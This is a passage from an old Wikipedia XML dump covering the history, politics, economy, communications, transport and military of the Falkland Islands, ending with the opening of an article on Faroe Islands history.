An [[archipelago]] in the region of the Falkland Islands appeared on [[map]]s from the early [[16th century]], suggesting they may have been sighted by [[Ferdinand Magellan]]'s or another expedition of the [[1500s]]. [[Amerigo Vespucci]] is believed to have sighted the islands in [[1502]], but did not name them. Both explorers were in [[Spain|Spanish]] service. In [[1519]] or [[1520]], [[Esteban Gómez]] of the &quot;San Antonio&quot;, one of the captains in the expedition of Magellan, deserted this enterprise and encountered several islands, which members of his crew called &quot;Islas de Sansón y de los Patos&quot; (&quot;Islands of Samson and the Ducks&quot;). Although these islands were probably the [[Jason Islands]], a group northwest of West Falkland, the names &quot;Islas de Sansón&quot; ('''or''' &quot;San Antón,&quot; &quot;San Son,&quot; and &quot;Ascensión&quot;) were used for the Falklands on Spanish maps during this period.

When [[England|English]] explorer [[John Davis (English explorer)|John Davis]], commander of the &quot;Desire&quot;, one of the ships belonging to [[Thomas Cavendish]]'s second expedition to the [[New World]], separated from Cavendish off the coast of what is now southern [[Argentina]], he decided to make for the [[Strait of Magellan]] in order to find Cavendish. On [[August 9]] [[1592]] a severe storm battered his ship, and Davis drifted under bare masts, taking refuge &quot;among certain Isles never before discovered.&quot; Consequently, for a time the Falklands were known as &quot;Davis Land&quot; or &quot;Davis' Land.&quot; 

In [[1594]], they were visited by English commander [[Richard Hawkins]], who, combining his own name with that of [[Elizabeth I of England|Queen Elizabeth I, the &quot;Virgin Queen,&quot;]] gave the islands the name of &quot;Hawkins' Maidenland.&quot;  

In [[1600]], [[Sebald de Weert]], a [[Netherlands|Dutchman]], visited them and called them the Sebald Islands (in Spanish, &quot;Islas Sebaldinas&quot; or &quot;Sebaldes&quot;), a name which they bore on some Dutch maps into the [[19th century]]. 

English Captain [[John Strong]] sailed between the two principal islands in [[1690]] and called the passage &quot;Falkland Channel&quot; (now [[Falkland Sound]]), after [[Anthony Cary, 5th Viscount Falkland]] ([[1659]]-[[1694]]), who as Commissioner of the [[Admiralty]] had financed the expedition and later became First Lord of the Admiralty. From this body of water the island group later took its collective name. 

==Colonisation==
The islands were first settled by [[France]], in [[1764]], when she established a colony at [[Port Louis, Falkland Islands|Port Louis]], on [[East Falkland]]'s [[Berkeley Sound]] coast. The [[French language|French]] name ''Îles Malouines'' was given to the islands &amp;mdash; ''malouin'' being the adjective for the [[Brittany|Breton]] [[seaport|port]] of [[Saint-Malo]]. The [[Spanish language|Spanish]] name ''Islas Malvinas'' is a translation of the [[French language|French]] denomination.

In [[1765]], Capt. [[John Byron]], who was unware of the French in the east, explored [[Saunders Island (Falkland Islands)|Saunders Island]], in the west, named the harbor [[Port Egmont]], and claimed this and other islands for [[Kingdom of Great Britain|Britain]] on the ground of prior discovery. The next year [[Captain]] [[John McBride, English seaman|John McBride]] established a British settlement on Port Egmont. These events were nearly the cause of a war between Britain and Spain, both countries having armed fleets to contest the barren but strategically important [[sovereignty]]. In 1766 France agreed to leave, Spain aggreeing to reimburse de Bougainville for his expenditures. The Spaniards assumed control in [[1767]], and re-named Port Louis as ''Port Soledad''. Meanwhile, the British presence in the west continued, until interrupted from [[July]], [[1770]] to [[January 22]] [[1771]] by Spain. Like the [[Mascarene Islands]] but without their intrinsic resources, the island group was well placed as a base for [[pirate]] and [[privateer]] raids. Britain voluntarily abandoned her colony in [[1774]], while leaving a plaque asserting her continuing sovereignty over the islands; But henceforward Spain ruled these uncontestedly from [[Buenos Aires]] until [[1811]]. On her withdrawal, like Britain earlier, Spain also left behind a plaque with her claims of sovereignty. The Islands were left uninhabited.

[[Image:Stamp Falkland Islands 1891 0.5p.jpg|thumb|left|Halfpenny postage stamp, issued 1891]]

[[Argentina]] claimed the group at its [[independence]] in [[1816]], and began settlement activity in [[1820]]. In [[1823]], Argentina granted [[fishing]] rights to Jorge Pacheco and [[Luis Vernet]], who finally succeeded on establishing a permanent settlement three years later. On [[June 10]], [[1829]], Argentina formally designated [[Luis Vernet]] as Governor of the Islands. [[Luis Vernet|Vernet]] was also granted a monopoly on [[hunting]] rights, which led him to capture the [[United States|American]] ships &quot;Harriet&quot;, &quot;Superior&quot; and &quot;Breakwater&quot;. 

As a reprisal, the [[United States]] sent Captain [[Silas Duncan]] of the [[USS Lexington (1825)|USS ''Lexington'']] to recover the confiscated property. After finding what he considered proof that at least four [[United States|American]] fishing ships had been captured, plundered, and even outfitted for war, Duncan took seven prisoners onboard Lexington and charged them with piracy.

Also taken on board, [[Silas Duncan|Duncan]] reported that &quot;were the whole of the (Falklands') population consisting of about forty persons, with the exception of some ''gauchos'', or cowboys who were encamped in the interior.&quot; The group, principally [[Germany|German]] citizens from [[Buenos Aires]], &quot;appeared greatly rejoiced at the opportunity thus presented of removing with their families from a desolate region where the climate is always cold and cheerless and the soil extremely unproductive&quot;.

Vernet's and Brisbane's capture caused quite a stir among government officials in Buenos Aries, and a long dispute between U.S. and Argentine diplomats followed. 

Afterwards, [[Major]] [[Esteban Mestivier]] was commissioned by the [[Buenos Aires]] government, as the new Governor of the Islands, to set up a penal colony. He arrived at his destination on [[November 15]], [[1832]] but, unfortunately, his soldiers [[mutiny|mutinied]] and killed him. [[Lieutenant Colonel|Lt. Col.]] [[José María Pinedo]] quelled the rebellion and took charge as Governor.

These events provided the spur for Britain to finally and permanently return to the islands, (''See [[1833 invasion of the Falkland Islands]]''), removing [[Argentina|Argentine]] settlers on [[3 January]] [[1833]] and refounding Port Louis as a naval garrison and civilian settlement. An interesting episode for those investigating the [[Sovereignty of the Falkland Islands|sovereignty claims]] is the true story of &quot;El Gaucho Rivero&quot;. In [[August]] 1833 [[Antonio Rivero]] was involved in an incident where a number of important figures on the islands were murdered. Rivero was taken to [[London]] to be judged, however when the case came before the [[High Court of Justice|High Court]] it was dismissed because the court felt that the [[British monarchy|British Crown]] had no authority over the islands at this time, and Rivero was returned to [[Argentina]].

Work on [[Stanley, Falkland Islands|Stanley]] started in [[1843]] and it became the capital of the islands in [[1845]].

==Twentieth century==
Their strategic significance was confirmed by the [[Battle of the Falkland Islands|second major naval engagement]] of the [[World War I|First World War]]. [[Admiral]] [[Graf Maximilian von Spee]]'s East Asia [[Cruiser Squadron]] called at the islands on their trip from the [[Pacific Ocean]] back to [[Germany]] intending to destroy the [[Royal Navy]] radio relay station and coaling depot there. Unknown to Spee, a British [[squadron]], including two [[battlecruiser]]s considerably more powerful than his forces had been sent to hunt down his squadron and happened to be in the harbour coaling. In the one-sided battle which followed, most of Spee's squadron was sunk.

===[[Falklands War]]===
{{main articles|[[1982 invasion of the Falkland Islands]] and [[Falklands War]]}}
[[Argentina]] invaded the islands on [[April 2|2 April]] [[1982]]. The British responded with an expeditionary force that landed seven weeks later and after fierce fighting forced the Argentine garrison to surrender on [[June 14|14 June]] [[1982]].

Following the war, Britain increased its military presence on the islands and invested heavily in improving facilities in Stanley and transportation around the islands, tarmacking many roads. The population has risen, due to the growth of [[Stanley, Falkland Islands|Stanley]], but has declined in ''camp'' (the countryside).

==Timeline==

*[[1504]]: [[Amerigo Vespucci]] ([[Florence]]/[[Spain]])
*[[1520]]: [[Esteban Gómez]] (Spain)
*[[1540]]: [[Ferdinand Camargo]] (Spain)
*[[1592]]: [[John Davis (English explorer)|John Davis]] ([[England]])
*[[1593]]: [[Richard Hawkins]] (England)
*[[1600]]: [[Sebald de Weert]] ([[Netherlands]])
*[[1684]]: Cowley &amp; Dampier (England) discovered [[Pepys Island]], renamed [[South Georgia]] by [[James Cook]] in [[1775]].
*[[1690]]: [[John Strong]] (England) landed, and named the sound and eventually the entire island group after [[Anthony Cary, 5th Viscount Falkland|Viscount Falkland]], Admiralty Commissioner
*[[1701]]: [[Gouin de Beauchesne]] ([[France]])
*[[1708]]: [[Roger Woodes]] ([[Kingdom of Great Britain|Great Britain]])
*[[1713]]: [[Treaty of Utrecht]] between Spain, France and Great Britain may have recognized Spanish sovereignty over the islands
*[[1740]]: [[George Anson, 1st Baron Anson|George Anson]] (Great Britain)
*[[1764]]: [[Louis de Bougainville]] (France) founded a naval base at Port Louis, East Falkland. The French named them the ''Îles Malouines'', so-called from when the islands were briefly occupied by fishermen from [[St Malo]]. Many of the settlers were [[Acadians]] left homeless by the [[Great Expulsion]] in [[Nova Scotia]].
*[[1765]]: Ignorant of de Bougainville's presence, [[John Byron]] (Great Britain) claims Saunders and other islands for Britain. Britain builds a settlement on Saunders the following year.
*[[1766]]: France and Spain reach agreement: French forces are to leave, and Spain agrees to pay for the installations built by de Bougainville.
*[[1770]]: Spain declared war on Great Britain in a fight over the islands.
*[[1771]]: That dispute was settled, with Spain retaining Puerto Soledad and Great Britain Port Egmont. The Spanish claimed that a secret agreement was reached assuring continuing Spanish sovereignty over the islands, but this was denied by the British.
*[[1774]]: The British abandoned the islands but left behind a plaque re-asserting British dominion.
*[[1776]]: Spain ruled the islands as part of the [[Viceroyalty of the Río de la Plata]] after 1776.
*[[1790]]: [[Nootka Convention]]. Britain conceded Spanish sovereignty over all Spain's traditional territories in the Americas. Whether or not the islands were included is disputed.
[[Image:FalklandIslands.jpg|thumb|240px|Falkland Islands from Space]]
*[[1811]]: Spain abandoned the islands but left behind a plaque re-asserting Spanish dominion. The islands became uninhabited.
*[[1816]]: The United Provinces of the Río de la Plata, later called [[Argentina]], gained independence from Spain, with the islands included in the national territory.
*[[1820]]: The Argentine frigate, the [[Heroina]], was sent to the islands to take possession of them. Argentina set up a penal colony on them.
*[[1825]]: The [[United Kingdom]] recognized Argentina's independence from Spain.
*[[1829]]: Argentina named [[Luis Vernet]] as the islands' governor. After a dispute over fishing rights with a [[United States]] vessel, the Argentine authorities arrested and detained the vessel's captain. The US responded by shelling the islands, destroying the main settlements. 
*[[1833]]: The [[United Kingdom]] took over the islands again and expelled the Argentines, but Argentina maintained its claim. (See [[1833 invasion of the Falkland Islands]].)
*December [[1965]]: [[United Nations]] Resolution 2065 called upon Britain and Argentina to &quot;proceed without delay with negotiations [...] with a view to finding a peaceful solution to the problem [...] bearing in mind [...] the interests of the population of the Falkland Islands (Malvinas).&quot;
*[[1982]]: Various tensions, but mainly the desire of the Argentine [[Leopoldo Galtieri|military junta]] to distract attention from domestic economic and political ills, led to an [[1982 invasion of the Falkland Islands|Argentine invasion]]. The islands were later retaken by the UK. (See [[Falklands War]].)
*November 1982: The [[United Nations General Assembly]] called on the UK and Argentina to resume sovereignty negotiations, but the UK opposes this.

==External links==
*[http://history.falklands.info Falkland Islands History] ''Early history adapted from the ninth edition of an encyclopedia (1879) and other sources.''
*[http://www.falklands.info/history/timeline.html Falklands Islands History - timeline]
*[http://www.globalsecurity.org/military/library/report/1987/CRD.htm 1987 American report] by Richard D. Chenette, Lieutenant Commander, USN, laying out the history and background of the disputed claims
*[http://www.history.horizon.co.fk/chronology.html The History of the Falkland Islands - Chronology]
*[http://www.ussduncan.org/silas_page13.htm Silas Duncan and the Falkland Islands' Incident]

{{South_America_in_topic|History of}}

[[Category:History of the Falkland Islands]]

[[de:Geschichte der Falklandinseln]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Falkland Islands</title>
    <id>10690</id>
    <revision>
      <id>24017811</id>
      <timestamp>2005-09-25T19:33:42Z</timestamp>
      <contributor>
        <username>Astrotrain</username>
        <id>16846</id>
      </contributor>
      <comment>Redirect to [[Falkland Islands]]</comment>
      <text xml:space="preserve">#REDIRECT [[Falkland Islands#Geography]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the Falkland Islands</title>
    <id>10691</id>
    <revision>
      <id>24018080</id>
      <timestamp>2005-09-25T19:37:38Z</timestamp>
      <contributor>
        <username>Astrotrain</username>
        <id>16846</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Falkland Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Falkland Islands</title>
    <id>10692</id>
    <revision>
      <id>36135630</id>
      <timestamp>2006-01-21T22:11:06Z</timestamp>
      <contributor>
        <username>ShiningEyes</username>
        <id>768276</id>
      </contributor>
      <comment>rm unnecessary category</comment>
      <text xml:space="preserve">{{Politics of the Falkland Islands}}
The '''politics of the [[Falkland Islands]]''', an overseas [[British overseas territory|territory of the United Kingdom]] (also claimed by [[Argentina]]), is minimal, lacking any political parties and differing little from standard British governmental and legal proceedings. The constitution of the Falkland Islands was established [[October 3]], [[1985]] and amended in [[1997]]. [[English and Welsh law|English common law]] holds sway.

==Government==
Within the [[executive (government)|executive]] branch of the Falkland Islands, the chief of state has been [[Elizabeth II of the United Kingdom|Elizabeth II]] since [[February 6]], [[1952]]. The heads of the government since May 1999 have been [[Governor of the Falkland Islands|Governor]] [[Donald Lamont]] and Chief Executive D. F. Howatt. Lamont was succeeded by [[Howard Pearce]] at [[3 December]] [[2002]]. He will be succeeded by [[Alan Huckle]], the current governor of [[Anguilla]].
Howatt was succeeded by [[Chris Simpkins]] in March 2003. The cabinet concists of an Executive Council, with three members elected by the Legislative Council, two ''[[ex officio]]'' members (the chief executive and the financial secretary) and the governor.

The [[legislature|legislative]] branch consists of a [[unicameralism|unicameral]] Legislative Council, with 10 seats, two ''ex officio'' and 8 elected by popular votes. Members serve four-year terms.

The [[judiciary|judicial]] branch consists of a Supreme Court; the [[chief justice]] is a nonresident.

==Elections and parties==
There are no elections for the executive branch in the Falkland Islands. The monarch is hereditary, and the Governor is appointed by the monarch. For other elections, [[suffrage]] is universal, with the minimum voting age at 18.

The Falkland Islands elects a legislature on territorial level. The Legislative Assembly has 10 members, 8 of which are elected every 4 years and 2 members ex officio. As of the last elections, [[17 November]], [[2005]], only non-partisans have been elected; there are no active political parties in the Falkland Islands. The next elections will be held in November 2009.
{{Falkland Islands parliamentary election, 2005}}

==See also==
* [[Electoral system]]

{{South America in topic|Politics of}}

[[Category:Elections in the Falkland Islands]]
[[Category:Lists of political parties|Falkland Islands]]
[[Category:Politics of the Falkland Islands]]
[[nl:Politiek van de Falklandeilanden]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Falkland Islands</title>
    <id>10693</id>
    <revision>
      <id>40447465</id>
      <timestamp>2006-02-20T16:51:59Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Economy of}}</comment>
      <text xml:space="preserve">{{CIA}}
{{Economy of the Falkland Islands table}}

The '''economy''' of the '''[[Falkland Islands]]''' was formerly based on [[agriculture]], mainly [[domestic sheep|sheep]] farming, but today [[fishing]] contributes the bulk of economic activity. In 1987 the government began selling fishing licenses to foreign trawlers operating within the Falklands exclusive fishing zone. These license fees total more than $40 million per year, which goes to support the island's health, education, and welfare system. [[Squid]] accounts for 75% of the fish taken. [[Dairy farming]] supports domestic consumption; crops furnish winter fodder. Exports feature shipments of high-grade wool to the UK and the sale of postage stamps and coins. To encourage tourism, the Falkland Islands Development Corporation has built three lodges for visitors attracted by the abundant wildlife and trout fishing. The islands are now self-financing except for defence. The British Geological Survey announced a 200-mile oil exploration zone around the islands in 1993, and early seismic surveys suggest substantial reserves capable of producing 500,000 barrels per day; to date no exploitable site has been identified. An agreement between [[Argentina]] and the [[United Kingdom|UK]] in 1995 seeks to defuse licensing and sovereignty conflicts that would dampen foreign interest in exploiting potential oil reserves.

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Industries:'''
wool and fish processing; sale of stamps and coins

'''Industrial production growth rate:'''
NA%

'''Electricity - production:'''
12 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
100%
&lt;br&gt;''hydro:''
0%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
11 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
fodder and vegetable crops; sheep, dairy products

'''Debt - external:'''
$NA

'''Economic aid - recipient:'''
$1.7 million (1995)

'''Exchange rates:'''
Falkland pound per US$1 - 0.6092 (January 2000), 0.6180 (1999), 0.6037 (1998), 0.6106 (1997), 0.6403 (1996), 0.6335 (1995); note - the Falkland pound is at par with the [[Pound Sterling]]

==See also==
*[[Falkland Islands Holdings]]

{{South America in topic|Economy of}}

[[Category:Economy of the Falkland Islands]]
[[Category:Economies by country|Falkland Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in the Falkland Islands</title>
    <id>10694</id>
    <revision>
      <id>40448331</id>
      <timestamp>2006-02-20T16:59:41Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Communications in}}</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Telephone]]s - main lines in use:'''
NA

'''Telephones - mobile cellular:'''
Cable &amp; Wireless launched &quot;Touch&quot; a GSM 900 mobile service during December 2005.  Roaming will be available during mid 2006.

'''Telephone system:'''
&lt;br&gt;''domestic:''
Telephone penetration by household is over 100%. Services in Stanley are delivered via fibre optic and copper; in the remainder of the Islands the service is delivered via wireless technology
&lt;br&gt;''international:''
satellite earth station - 1 [[Intelsat]] ([[Atlantic Ocean]]) with links through the [[United Kingdom]] to other countries

'''IDD Code''' 500

'''[[Radio]] broadcast stations:'''
AM 2, FM 7, shortwave 0 

The [[Falkland Islands Broadcasting Service]] (FIBS) operates a radio network in conjunction with the [[BBC]] [[BBC World Service|World Service]], while the [[British Forces Broadcasting Service]] (BFBS) operates two networks of its own. 

'''Radios:'''
1,000 (1997)

'''[[Television]] broadcast stations:'''
2 

1 operated by the BFBS live since [[1997]], which carries a compilation of the [[United Kingdom]] domestic channels. BFBS TV1 is freely available to non-military audiences, while BFBS TV2 is only available in the Mount Pleasant military base. 

A local subscription service, [http://www.ktv.co.fk KTV], carries [[satellite television|satellite]] channels such as [[ESPN]], [[Discovery Channel|Discovery]] [[CNN International]] and [[Turner Classic Movies]] (from the [[United States]]) and [[BBC World]] from the [[United Kingdom]]. 

'''Televisions:'''
1,008 (2001) - 

'''[[Internet Service Providers]] (ISPs):'''
[http://www.cwfi.co.fk Cable and Wireless] provide the [http://www.horizon.co.fk Horizon] service - penetration over 80%

'''[[Country codes|Country code (TLD)]]:''' FK

:''See also :'' [[Falkland Islands]]

{{South America in topic|Communications in}}

[[Category:Communications by country|Falkland Islands]]
[[Category:Communications in the Falkland Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in the Falkland Islands</title>
    <id>10695</id>
    <revision>
      <id>40449665</id>
      <timestamp>2006-02-20T17:12:16Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Transportation in}}</comment>
      <text xml:space="preserve">{{CIA}}

'''Railways:'''
None

'''Highways:'''
&lt;br&gt;''total:''
348 km
&lt;br&gt;''paved:''
83 km
&lt;br&gt;''unpaved:''
265 km

'''Ports and harbours:'''
Stanley

'''Merchant marine:'''
none (1999 est.)

'''Airports:'''
5 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
2
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''under 914 m:''
1 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
3
&lt;br&gt;''under 914 m:''
3 (1999 est.)

:''See also :'' [[Falkland Islands]]

'''By plane'''
 
FIGAS plane on the airstrip at Sea Lion IslandTraveling between islands in the Falklands is generally done using the Falkland Islands Government Air Service (FIGAS). The planes are Britten Norman Islander aircraft, capable of carrying eight passengers plus pilot. Be aware, however, that passenger load may be reduced depending on the condition of the airstrips being visited; outside of Stanley, all airstrips in the Falklands are either dirt strips or grassy fields. Be prepared for slight delays while livestock is cleared from airstrips prior to takeoff/landing! 

Flights leave twice daily from the airstrip just outside of Stanley and travel to a variety of locations throughout the country. Baggage is limited to 14 kg per person (strictly enforced), with a charge of £0.60 per additional kilogram, space permitting. Note that unless the plane is flying to an island with a very poor landing strip there are almost never space constraints that would prevent traveling with a few extra kilos of baggage. 

Reservations are required for travel and should be booked at least 24 hours in advance. Booking reservations can be done either by calling the airport (Tel: 27219). Flight schedules are announced the night before departure and are also available via a fax service; most lodges will post the schedule as soon as it is announced. 

Fares vary by destination, but sample fares from November 2004 were: 

*Stanley to Sea Lion Island: £47.67 
*Sea Lion Island to Saunders Island: £54.16 
*Saunders Island to Pebble Island: £21.12 
*Pebble Island to Stanley: £53.57 

'''By boat'''

While it is theoretically possible to get around the Falklands by boat, as of October 2004 there was no regular service available to tourists traveling in small groups (contrary to reports in guide books, the Golden Fleece does not taxi passengers around the islands). For large groups it may be possible to charter a boat in advance, thus providing a great way to visit some of the less-traveled islands (be aware that per-passenger landing fees are charged on many of the islands; contact the island's owner before visiting). 

Large cruise ships are the most common means for people to visit the Falklands, and most will make several landings at various islands. Note that aside from Stanley all landings from cruise ships are done using zodiacs, and in many cases the lack of docking areas will require a quick wade from the zodiac onto shore. 

'''By taxi'''

Within Stanley there are two taxi services that can be hired for travel throughout the town and surrounding areas, including the Mt. Pleasant airport. 

'''By Landrover'''

Landrover rental may be possible from Stanley. Contact either the Falkland Islands Company or Stanley Services for information. Roads in Stanley are paved, but elsewhere road conditions range from well-maintained dirt roads to boggy mud streams. Unless your travels specifically require having your own vehicle, renting a Landrover is neither necessary nor a particularly good idea. 

{{South America in topic|Transportation in}}

[[Category:Falkland Islands]]
[[Category:Transport in British Overseas Territories and Crown Dependencies]]</text>
    </revision>
  </page>
  <page>
    <title>Military of the Falkland Islands</title>
    <id>10696</id>
    <revision>
      <id>41766539</id>
      <timestamp>2006-03-01T16:22:46Z</timestamp>
      <contributor>
        <username>Gflores</username>
        <id>153556</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; border=&quot;1&quot; style=&quot;float:right&quot;
|- 
| bgcolor=&quot;#ff2222&quot; align=&quot;center&quot; colspan=&quot;2&quot; | '''Falkland Islands Defence Forces'''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; |[[Image:Triserv-600.jpg|150px|]]&lt;br&gt; The tri-service badge: [[Royal Navy]], [[British Army]]&lt;br&gt; and [[Royal Air Force]].
|- 
| align=&quot;center&quot; colspan=&quot;2&quot; | '''Expenditure'''
|- 
| [[Pound sterling|Sterling]] figure &lt;br&gt;estimate (FY04/05)
| &amp;pound;365 million (part of [[United Kingdom|UK]] [[Military of the United Kingdom|defence]] &lt;br&gt;expenditure)
|- 
| [[United States dollar|US Dollar]] figure &lt;br&gt;(FY04/05)
| $657 million
|- 
| Percent of [[Gross domestic product|GDP]] &lt;br&gt;(2004)
| Approximately 0.03% of [[United Kingdom|UK]] [[Gross domestic product|GDP]]
|-
|}
The '''Falkland Islands''' are an overseas territory of the [[United Kingdom]] and as such rely on the UK for guarantee of their security. The other UK territories in the [[South Atlantic]], [[South Georgia and the South Sandwich Islands]], fall under the protection of the [[British forces]] on the Falklands (known as '''Falkland Islands Defence Forces''', '''British Forces Falkland Islands''' or the '''Falklands Garrison'''), which includes commitments from the [[British Army]], [[Royal Air Force]] and [[Royal Navy]].

The maintenance of only a token military force before the [[Falklands War]] allowed [[Argentina]] to start that conflict by easily capturing the islands. Following the reclamation of the territory in [[1982]], the UK invested heavily in the defence of the islands, the centre-piece of which is the new airfield at [[RAF Mount Pleasant]], 25 miles west of the previous base at [[Stanley, Falkland Islands|Stanley]]. The base was opened in [[1985]].

==Royal Air Force==

RAF Mount Pleasant, built following the surrender of Argentine invasion forces, is capable of accepting trans-Atlantic aircraft such as the [[Lockheed]] [[Lockheed L-1011|Tristar]]. The Tristar was purchased mainly for the UK-Falklands route, until their [[entry into service]] leased [[Boeing 747|747s]] and [[Boeing 767|767s]] performed air transport. 

The RAF's [[RAF Tornado F3|Tornado F3s]] provide air defence for the islands and surrounding territories. The four aircraft, and the crews that fly them, are rotated with UK based assets. The aircraft are housed in non-hardened shelters, sixteen of which were built for surge operations in time of tension or hostility.

The [[VC10]] provides air transport and aerial refueling for the fighters. When a fighter is launched it almost immediately followed by the VC10 as changeable weather conditions might make diversion to another airfield necessary. The C-130K provides resupply missions through the use of air-drops and also carries out maritime patrol. The latter is an important mission to the Falkland Islands government as the Hercules verifies that all fishing vessels are licensed; at £1,000 per licence per season this is an extremely lucrative source of income.

The [[helicopter]]s of 78 Sqn provide air transport missions. The [[Sea King]]s and the [[Chinook]] also carry out short and medium range [[search and rescue]] missions respectively.

===Organisation===

*[[No. 1435 Flight RAF|No. 1435 Flight]] &amp;ndash; 4 [[Panavia Tornado|Tornado F3]]s
*[[No. 1312 Flight RAF|No. 1312 Flight]] &amp;ndash; 1 [[Vickers VC10]], 1 [[C-130 Hercules|Hercules C3]]
*[[No. 78 Squadron RAF|No. 78 Squadron]] &amp;ndash; 2 [[Westland Sea King|Sea King]] HAR.3s, 1 [[CH-47 Chinook|Chinook]] [[RAF Chinook|HC.2]]

==Royal Navy==

The [[Royal Navy]] maintain a presence in the area with a [[frigate]] or [[destroyer]] in the South Atlantic and a patrol ship permanently close to the islands. In addition an Ice Patrol Ship, [[HMS Endurance (A171)|HMS ''Endurance'']], is on station close to [[Antarctica]] for 6 months of the year. 

The warship carries out the [[Standing Royal Navy deployments|South Atlantic Patrol Task]] mission which &quot;provides a maritime presence to protect the UK's interests in the region&quot;. Currently the [[Type 42 destroyer]] [[HMS Southampton (D90)|HMS ''Southampton'']] performs the South Atlantic Patrol Task having taken over from [[HMS Cardiff (D108)|HMS ''Cardiff'']] when she was decommissioned in August [[2005]]. 

The Falkland Islands Patrol ship is a [[Castle class patrol vessel|Castle class]] vessel. Currently [[HMS Dumbarton Castle (P265)|HMS ''Dumbarton Castle'']] patrols the waters of the Falkland Islands having taken over from a 3 year deployment by [[HMS Leeds Castle (P258)|HMS ''Leeds Castle'']] when she returned to the UK to be decommissioned at the same time as Cardiff. In 2007 [[HMS Clyde (2007)|''HMS Clyde'']] will relieve [[HMS Dumbarton Castle (P265)|HMS Dumbarton Castle]] and [[HMS Leeds Castle (P258)|HMS Leeds Castle]], currently under construction by VT Group shipbuilders in Portsmouth, it is planned that she will stay permanently in the South Atlantic until 2012.

The Royal Navy also has submarines that it can deploy to the area, though such deployments are secret.

== Army ==

The [[British Army]] maintains a small garrison on the Falkland Islands based at Mount Pleasant. The total deployment is about 500 personnel made up of a Company Group, an Engineer Squadron, a Signals Unit, a Logistics Group and Supporting Services.[http://www.army.mod.uk/aroundtheworld/flk/index.htm]

{{South America in topic|Military of}}

[[Category:Falkland Islands]]
[[Category:Military of the United Kingdom]]</text>
    </revision>
  </page>
  <page>
    <title>Falkland Islands/Transnational issues</title>
    <id>10697</id>
    <revision>
      <id>15908495</id>
      <timestamp>2002-08-25T18:13:12Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Falkland Islands]]</comment>
      <text xml:space="preserve">#REDIRECT [[Falkland Islands]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Faroe Islands</title>
    <id>10698</id>
    <revision>
      <id>40636352</id>
      <timestamp>2006-02-21T23:52:20Z</timestamp>
      <contributor>
        <ip>80.202.111.224</ip>
      </contributor>
      <comment>/* Pre-14th century */</comment>
      <text xml:space="preserve">==Pre-Norse history==
The early details of '''[[Faroe Islands|Faroese]] history''' are rather nebulous. It is possible that [[Saint Brendan]], an Irish [[monk]] (a [[Papar]]) sailed past the islands during his [[North Atlantic]] voyage in the [[6th century]]. He saw an 'Island of Sheep' and a 'Paradise of Birds', which some say could be the Faroes with its dense bird population and sheep. 

In the late 600s to early 700s the islands were visited by monks from [[Ireland]], possibly looking for converts or solitude. Little is known about them, except that they used the Faroes (and [[Iceland]]) as a [[hermitage]]. As these monks were [[celibate]] and lived in all-male communities, their populations had to be replenished from the [[British Isles]].

== Pre-14th century ==
Little is known about Faroese history up until the [[14th century]]. The main historical source for this period is the [[13th century]] work [[Færeyinga Saga]] (Saga of the Faroese), and it is disputed as to how much of this work is historical fact.

[[Færeyinga Saga]] only exists today as copies in other sagas. In particular three manuscripts called [[Ólafs Saga Tryggvasonar]], [[Flateyjarbók]] and one registered as [[AM 62 fol]].

According to [[Flateyjarbók]] [[Grímr Kamban]] settled in Faroe when [[Harald I of Norway|Harald Hårfagre]] was king of Norway (([[872]] – [[930]]). But this version does not correspond with the writings of [[Dicuil]], an Irish monk in the [[Frankish Kingdom]] who wrote about the countries in the north. [[Ólafs Saga Tryggvasonar]], however, does. According to that manuscript [[Færeyinga Saga]] start like this:

''There was a man named Grímr Kamban; he first settled in Faroe. But in the days of Harold Fairhair many men fled before the king’s overbearing. Some settled in Faroe and began to dwell there, and others sought to other waste lands.''

According to this many men did indeed flee from [[Harald I of Norway|Harald Hårfagre]]. But the text suggests that Grímr Kamban settled in the Faroes some time before. Maybe even hundreds of years. The firstname ''Grímr'' is norse. But the lastname ''Kamban'' is Irish. He may have been of mixed norse and Irish origin and come from a settlement in the [[Great Britain|British isles]]. If many men settled in the Faroes in the reign of Harald Hårfagre, people must have known about the Faroes. And therefore someone may have settled or visited there some time before.

According to Færeyinga Saga there was an ancient institution on the headland [[Tinganes]] in [[Tórshavn]] on the island of [[Streymoy]]. This was an ''Alþing'' or Althing (All-council.) This was the place where laws were made and disputes solved. All free men had the right to meet in the Alþing. It was a parliament and law court for all, thus the name. Historians estimate the Alþing to have been established from 800 to 900.

The islands were converted to [[Christianity]] around the year [[1000]], with a church based at [[Kirkjubøur]], southern [[Streymoy]] with 33 bishops. The Faroes became a part of the Kingdom of Norway in [[1035]].

